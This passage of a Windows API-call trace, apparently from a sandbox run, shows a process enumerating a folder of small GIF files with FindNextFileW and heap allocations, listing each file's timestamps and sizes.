ftLastWriteTime.dwLowDateTime=0x1796d500, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x1f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14866_.GIF", cAlternateFileName="")) returned 1 [0069.140] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.140] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18c80200, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca109e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x18c80200, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xfd, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14867_.GIF", cAlternateFileName="")) returned 1 [0069.140] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.140] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18c80200, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca109e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x18c80200, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x1a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14868_.GIF", cAlternateFileName="")) returned 1 [0069.140] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.140] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18c80200, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca109e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x18c80200, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14869_.GIF", cAlternateFileName="")) returned 1 [0069.140] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.140] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19f92f00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca36b40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x19f92f00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x1a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14870_.GIF", cAlternateFileName="")) returned 1 [0069.140] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.140] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19f92f00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca36b40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x19f92f00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xc2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14871_.GIF", cAlternateFileName="")) returned 1 [0069.140] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.140] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c3a5000, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca36b40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6c3a5000, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14980_.GIF", cAlternateFileName="")) returned 1 [0069.140] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.140] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d6b7d00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca36b40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6d6b7d00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x164, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14981_.GIF", cAlternateFileName="")) returned 1 [0069.140] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.140] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc56d8700, ftCreationTime.dwHighDateTime=0x1bd4f41, ftLastAccessTime.dwLowDateTime=0xbca5cca0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc56d8700, ftLastWriteTime.dwHighDateTime=0x1bd4f41, nFileSizeHigh=0x0, nFileSizeLow=0xc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14982_.GIF", cAlternateFileName="")) returned 1 [0069.140] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.140] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc43c5a00, ftCreationTime.dwHighDateTime=0x1bd4f41, ftLastAccessTime.dwLowDateTime=0xbca5cca0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc43c5a00, ftLastWriteTime.dwHighDateTime=0x1bd4f41, nFileSizeHigh=0x0, nFileSizeLow=0x7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14983_.GIF", cAlternateFileName="")) returned 1 [0069.140] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.140] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc30b2d00, ftCreationTime.dwHighDateTime=0x1bd4f41, ftLastAccessTime.dwLowDateTime=0xbca5cca0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc30b2d00, ftLastWriteTime.dwHighDateTime=0x1bd4f41, nFileSizeHigh=0x0, nFileSizeLow=0xb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14984_.GIF", cAlternateFileName="")) returned 1 [0069.140] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.141] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1da0000, ftCreationTime.dwHighDateTime=0x1bd4f41, ftLastAccessTime.dwLowDateTime=0xbca5cca0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc1da0000, ftLastWriteTime.dwHighDateTime=0x1bd4f41, nFileSizeHigh=0x0, nFileSizeLow=0x40, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14985_.GIF", cAlternateFileName="")) returned 1 [0069.141] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.141] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57254000, ftCreationTime.dwHighDateTime=0x1bd5ec1, ftLastAccessTime.dwLowDateTime=0xbca5cca0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x57254000, ftLastWriteTime.dwHighDateTime=0x1bd5ec1, nFileSizeHigh=0x0, nFileSizeLow=0x40f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15018_.GIF", cAlternateFileName="")) returned 1 [0069.141] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.141] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7bb99900, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca82e00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7bb99900, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15019_.GIF", cAlternateFileName="")) returned 1 [0069.141] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.141] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83dcdc00, ftCreationTime.dwHighDateTime=0x1bd4f41, ftLastAccessTime.dwLowDateTime=0xbca82e00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x83dcdc00, ftLastWriteTime.dwHighDateTime=0x1bd4f41, nFileSizeHigh=0x0, nFileSizeLow=0x63, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15020_.GIF", cAlternateFileName="")) returned 1 [0069.141] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.141] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82abaf00, ftCreationTime.dwHighDateTime=0x1bd4f41, ftLastAccessTime.dwLowDateTime=0xbca82e00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x82abaf00, ftLastWriteTime.dwHighDateTime=0x1bd4f41, nFileSizeHigh=0x0, nFileSizeLow=0x4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15021_.GIF", cAlternateFileName="")) returned 1 [0069.141] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.141] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x817a8200, ftCreationTime.dwHighDateTime=0x1bd4f41, ftLastAccessTime.dwLowDateTime=0xbca82e00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x817a8200, ftLastWriteTime.dwHighDateTime=0x1bd4f41, nFileSizeHigh=0x0, nFileSizeLow=0x61, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15022_.GIF", cAlternateFileName="")) returned 1 [0069.141] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.141] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80495500, ftCreationTime.dwHighDateTime=0x1bd4f41, ftLastAccessTime.dwLowDateTime=0xbca82e00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x80495500, ftLastWriteTime.dwHighDateTime=0x1bd4f41, nFileSizeHigh=0x0, nFileSizeLow=0x7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15023_.GIF", cAlternateFileName="")) returned 1 [0069.141] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.141] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95f37700, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcaa8f60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x95f37700, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xda, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15056_.GIF", cAlternateFileName="")) returned 1 [0069.141] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.141] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95f37700, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcaa8f60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x95f37700, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xda, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15057_.GIF", cAlternateFileName="")) returned 1 [0069.141] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.141] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9724a400, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcaa8f60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9724a400, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xc7, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15058_.GIF", cAlternateFileName="")) returned 1 [0069.141] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.141] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x319bbb00, ftCreationTime.dwHighDateTime=0x1bd4f41, ftLastAccessTime.dwLowDateTime=0xbcaa8f60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x319bbb00, ftLastWriteTime.dwHighDateTime=0x1bd4f41, nFileSizeHigh=0x0, nFileSizeLow=0xaa, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15059_.GIF", cAlternateFileName="")) returned 1 [0069.141] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.141] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x306a8e00, ftCreationTime.dwHighDateTime=0x1bd4f41, ftLastAccessTime.dwLowDateTime=0xbcaa8f60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x306a8e00, ftLastWriteTime.dwHighDateTime=0x1bd4f41, nFileSizeHigh=0x0, nFileSizeLow=0x78, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15060_.GIF", cAlternateFileName="")) returned 1 [0069.141] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.141] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f396100, ftCreationTime.dwHighDateTime=0x1bd4f41, ftLastAccessTime.dwLowDateTime=0xbcaa8f60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2f396100, ftLastWriteTime.dwHighDateTime=0x1bd4f41, nFileSizeHigh=0x0, nFileSizeLow=0x77, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15061_.GIF", cAlternateFileName="")) returned 1 [0069.141] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.141] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbfac9e00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcacf0c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbfac9e00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15132_.GIF", cAlternateFileName="")) returned 1 [0069.141] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.141] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0ddcb00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcacf0c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc0ddcb00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15133_.GIF", cAlternateFileName="")) returned 1 [0069.141] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.141] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0ddcb00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcacf0c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc0ddcb00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15134_.GIF", cAlternateFileName="")) returned 1 [0069.141] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.142] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0ddcb00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcacf0c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc0ddcb00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xaf, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15135_.GIF", cAlternateFileName="")) returned 1 [0069.142] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.142] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc20ef800, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcaf5220, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc20ef800, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xaf, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15136_.GIF", cAlternateFileName="")) returned 1 [0069.142] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.142] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdfaba00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcaf5220, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xcdfaba00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x14b, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15168_.GIF", cAlternateFileName="")) returned 1 [0069.142] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.142] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdfaba00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcaf5220, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xcdfaba00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x154, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15169_.GIF", cAlternateFileName="")) returned 1 [0069.142] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.142] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf2be700, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcaf5220, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xcf2be700, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x101, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15170_.GIF", cAlternateFileName="")) returned 1 [0069.142] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.142] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a06a900, ftCreationTime.dwHighDateTime=0x1bd4f40, ftLastAccessTime.dwLowDateTime=0xbcaf5220, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7a06a900, ftLastWriteTime.dwHighDateTime=0x1bd4f40, nFileSizeHigh=0x0, nFileSizeLow=0x91, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15171_.GIF", cAlternateFileName="")) returned 1 [0069.142] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.142] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf2be700, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcb1b380, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xcf2be700, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x130, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15172_.GIF", cAlternateFileName="")) returned 1 [0069.142] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.142] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77a44f00, ftCreationTime.dwHighDateTime=0x1bd4f40, ftLastAccessTime.dwLowDateTime=0xbcb1b380, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x77a44f00, ftLastWriteTime.dwHighDateTime=0x1bd4f40, nFileSizeHigh=0x0, nFileSizeLow=0x8a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15173_.GIF", cAlternateFileName="")) returned 1 [0069.142] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.142] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb476800, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcb1b380, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfb476800, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x1c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15272_.GIF", cAlternateFileName="")) returned 1 [0069.142] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.142] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc789500, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcb1b380, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfc789500, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15273_.GIF", cAlternateFileName="")) returned 1 [0069.142] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.142] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc998a500, ftCreationTime.dwHighDateTime=0x1bd4f3f, ftLastAccessTime.dwLowDateTime=0xbcb414e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc998a500, ftLastWriteTime.dwHighDateTime=0x1bd4f3f, nFileSizeHigh=0x0, nFileSizeLow=0xd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15274_.GIF", cAlternateFileName="")) returned 1 [0069.142] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.142] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7364b00, ftCreationTime.dwHighDateTime=0x1bd4f3f, ftLastAccessTime.dwLowDateTime=0xbcb414e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc7364b00, ftLastWriteTime.dwHighDateTime=0x1bd4f3f, nFileSizeHigh=0x0, nFileSizeLow=0x3f, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15275_.GIF", cAlternateFileName="")) returned 1 [0069.142] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.142] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3a2c400, ftCreationTime.dwHighDateTime=0x1bd4f3f, ftLastAccessTime.dwLowDateTime=0xbcb414e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc3a2c400, ftLastWriteTime.dwHighDateTime=0x1bd4f3f, nFileSizeHigh=0x0, nFileSizeLow=0x49, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15276_.GIF", cAlternateFileName="")) returned 1 [0069.142] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.142] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2719700, ftCreationTime.dwHighDateTime=0x1bd4f3f, ftLastAccessTime.dwLowDateTime=0xbcb414e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc2719700, 